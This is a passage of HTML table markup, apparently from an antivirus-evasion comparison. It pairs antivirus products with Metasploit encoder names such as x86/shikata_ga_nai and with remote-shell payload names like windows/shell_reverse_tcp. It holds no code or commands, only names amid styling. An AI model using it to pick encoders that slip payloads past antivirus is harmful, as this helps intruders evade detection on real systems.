border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Fortinet&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/countdown&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;windows/shell_bind_tcp&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;GData&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/fnstenv_mov&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;windows/shell_reverse_tcp&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Ikarus&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/jmp_call_additive&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Jiangmin&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/nonalpha&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;K7AntiVirus&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/nonupper&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Kaspersky&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/shikata_ga_nai&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;McAfee&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/single_static_bit&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;McAfee-GW-Edition&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/unicode_mixed&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Microsoft&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;x86/unicode_upper&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;NOD32&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Norman&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;nProtect&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Panda&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;PCTools&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Prevx&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Rising&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Sophos&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;SUPERAntiSpyware&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; 